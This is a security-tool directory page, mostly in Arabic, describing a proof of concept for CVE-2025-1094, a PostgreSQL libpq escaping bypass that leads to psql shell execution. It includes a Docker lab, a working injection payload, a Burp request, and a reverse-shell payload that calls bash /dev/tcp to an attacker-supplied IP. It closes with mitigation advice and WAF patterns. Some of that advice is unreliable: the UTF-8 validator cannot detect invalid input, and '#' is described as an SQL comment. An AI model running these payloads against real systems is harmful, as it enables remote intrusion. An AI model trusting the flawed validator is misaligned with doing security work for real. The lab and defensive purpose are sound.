Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
POC-CVE-2025-1094 — إثبات مفهوم استغلال لـ CVE-2025-1094، وهو حقن SQL في PostgreSQL psql يؤدي إلى RCE عبر تجاوز هروب libpq. يتضمن بيئة Docker ونص استغلال وإرشادات التخفيف. | Kitploit
أدوات/GitHubGitHub/trandonga3/poc-cve-2025-1094
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

إثبات مفهوم استغلال لـ CVE-2025-1094، وهو حقن SQL في PostgreSQL psql يؤدي إلى RCE عبر تجاوز هروب libpq. يتضمن بيئة Docker ونص استغلال وإرشادات التخفيف.

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

POC CVE-2025-1094: ثغرة SQL Injection في PostgreSQL psql

Proof of Concept لثغرة SQL Injection خطيرة في عميل PostgreSQL libpq وأداة psql

📋 جدول المحتويات

  1. مقدمة عن الثغرة
  2. هيكل مجلدات المشروع
  3. تحليل الحمولة الهجومية (Payload)
  4. دليل الاستخدام
  5. طرق الإصلاح والوقاية

1. مقدمة عن الثغرة

الوصف العام

CVE-2025-1094 هي ثغرة خطيرة تقع في مكتبة العميل libpq وأداة سطر الأوامر psql الخاصة بـ PostgreSQL. تسمح هذه الثغرة للمهاجم بتنفيذ SQL Injection والارتقاء إلى تنفيذ الأكواد عن بُعد (Remote Code Execution - RCE) حتى عندما يستخدم التطبيق دوال تهريب السلاسل القياسية مثل PQescapeLiteral.

السبب الجذري

ينشأ الخطأ من عدم التطابق في معالجة سلاسل البايتات متعددة البايت (multibyte) غير الصالحة (مثل UTF-8) بين مكتبة تهريب السلاسل ومُحلّل psql.

آليتا الهجوم الرئيسيتان:

1. تجاوز التهريب (Bypass Escaping)

  • تُخدَع الدالة PQescapeLiteral بـ«بايت جديد» (مثل 0xC0)
  • فهي تعتبر هذا البايت وعلامة الاقتباس المفردة (') المرافقة له حرفًا واحدًا
  • مما يؤدي إلى عدم تهريب علامة الاقتباس المفردة تلك

2. تنفيذ الأكواد عن بُعد (RCE) عبر الأوامر الفوقية (Meta-commands)

  • عند إدخال هذه السلسلة المعيبة إلى أداة psql
  • يمكن للمهاجم الخروج من جملة SQL واستخدام أمر النظام \! الخاص بـ psql
  • مما يسمح بتنفيذ أكواد shell عشوائية على الخادم

2. هيكل مجلدات المشروع

تم تنظيم المشروع لمحاكاة بيئة عملية عند استدعاء دالة C الخاصة بـ libpq:

root@kitploit:~
.
├── docker-compose.yml       # Khởi động PostgreSQL + Web App
├── exolit.py               # Exploit script - Tấn công từ bên ngoài
├── README.md               # Tài liệu này
└── app/
    ├── app.py             # Flask Web App - Tiếp nhận input user
    ├── Dockerfile         # Build image chứa vulnerable code
    └── init_db.sql        # Khởi tạo database

المكونات الرئيسية:

  • Flask Web App: تستقبل إدخال المستخدم عبر نقطة النهاية /search
  • دالة C في libpq: تعالج استعلام SQL دون التحقق من صحة البايتات
  • الأوامر الفوقية لـ psql: تسمح بتنفيذ أوامر النظام عبر \!
  • Subprocess Pipe: يدفع التطبيق جملة SQL إلى psql عبر تدفق الإدخال (input stream)

3. تحليل الحمولة الهجومية (Payload)

حمولة (Payload) نموذجية

root@kitploit:~
hax\xc0'; \! id; #

فك رموز كل مكوّن:

المكوّنالقيمةالمعنى
إدخال البياناتhaxبيانات عادية طبيعية
بايت جديد\xc0بايت UTF-8 غير صالح - يتجاوز التهريب (bypass escaping)
علامة الاقتباس'علامة اقتباس مفردة «غير مرئية» - تتسلل عبر الفلتر
إنهاء SQL;إنهاء جملة SQL الحالية
أمر فوقي\!أمر خاص بـ psql - يخرج إلى Shell نظام التشغيل
أمر Shellidالأمر المطلوب تنفيذه (يمكن استبداله بـ reverse shell)
تعليق#علامة تعليق SQL - تعطيل الجزء الزائد

تسلسل التنفيذ:

root@kitploit:~
1. Input user: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() không nhận ra \xc0 + ' là tấn công
   ↓
3. Chuỗi được gửi tới psql: hax\xc0'; \! id; #
   ↓
4. psql phân tích: đoạn \xc0 được coi là kết thúc chuỗi
   ↓
5. Meta-command \! được kích hoạt
   ↓
6. Lệnh shell id được thực thi với quyền của container

4. دليل الاستخدام

الطريقة 1: استخدام Docker Compose (موصى بها)

الخطوة 1: تشغيل البيئة

root@kitploit:~
docker-compose up -d

الخطوة 2: انتظار بدء تشغيل الحاويات

root@kitploit:~
docker-compose ps

تأكد من أن PostgreSQL وتطبيق Flask يعملان.

الخطوة 3: تنفيذ الاستغلال (Exploit)

root@kitploit:~
python exolit.py

النتيجة المتوقعة: سيتم عرض معلومات uid=0(root) التي تم الحصول عليها من الخادم

الخطوة 4: إيقاف البيئة

root@kitploit:~
docker-compose down

الطريقة 2: استخدام Burp Suite (يدويًا)

إرسال طلب HTTP

أرسل طلبًا POST إلى /search مع النص (body) التالي:

root@kitploit:~
name=hax%c0%27;+\!+id+;+%23

مرجع ترميز URL:

  • %c0 = \xc0 (بايت UTF-8 غير صالح)
  • %27 = ' (علامة اقتباس مفردة)
  • %23 = # (علامة الهاش)
  • + = مسافة (space)

حمولة Reverse Shell:

root@kitploit:~
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23

ملاحظة: استبدل <ip-hacker> و<port-hacker> بعنوان IP والمنفذ (port) الخاص بجهاز المهاجم


5. طرق الإصلاح والوقاية

أ. تثبيت بقع الإصلاح

قم بترقية PostgreSQL إلى الإصدارات التي تم إصلاح الثغرة فيها:

Versionالإصدار الآمن
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

ب. التحقق من الترميز (Encoding)

تحقق دائمًا من أن بيانات الإدخال هي UTF-8 صالحة قبل معالجتها:

root@kitploit:~
def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

ج. الحد من استخدام psql CLI

في برمجة التطبيقات، استخدم مكتبات برامج التشغيل (Driver) الرسمية:

root@kitploit:~
# ❌ KHÔNG: Sử dụng subprocess + psql
subprocess.run(['psql', '-c', user_input])

# ✅ CÓ: Sử dụng parameterized queries với psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

د. مبدأ الامتياز الأقل (Least Privilege)

  • لا تقم بتشغيل تطبيق الويب بصلاحيات root
  • لا تقم بتشغيل قاعدة البيانات بصلاحيات root
  • استخدم مستخدمًا مخصصًا (dedicated user) بصلاحيات دنيا

هـ. قواعد WAF / IDS

قم بإعداد قواعد (rules) لاكتشاف الأنماط التالية:

root@kitploit:~
- Byte 0xC0, 0xC1 trong request body
- Meta-command `\!` trong user input
- Chuỗi như `; \!` hoặc `' \!`

📚 المراجع

  1. رابط إلى ملف الكود المصدري (قبل تطبيق التصحيح) يمكنك الاطلاع على الملف src/interfaces/libpq/fe-exec.c في الإصدار 17.2 (الإصدار الذي لا يزال يحوي الثغرة):

    • رابط GitHub: PostgreSQL fe-exec.c عند tag REL_17_2 (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • الدالة المهمة: ابحث عن الدالة PQescapeStringInternal (تقع عادةً حوالي السطر 3400 فما بعد). هذه هي الدالة «الأساسية» التي تستدعيها كل من PQescapeLiteral وPQescapeString وكلتاهما تستدعيها.
  2. الاطلاع على «التصحيح» (The Patch) - الأهم لاختبار الصندوق الأبيض (White-box) لفهم سبب حدوث الخطأ وكيفية إصلاحه، أفضل طريقة هي الاطلاع على Commit Diff (التغييرات بين النسخة المعيبة والنسخة المُصححة).

    • رابط الـ Commit الرسمي: Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
  3. مقال تحليل الثغرة: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/


تنزيل الأداة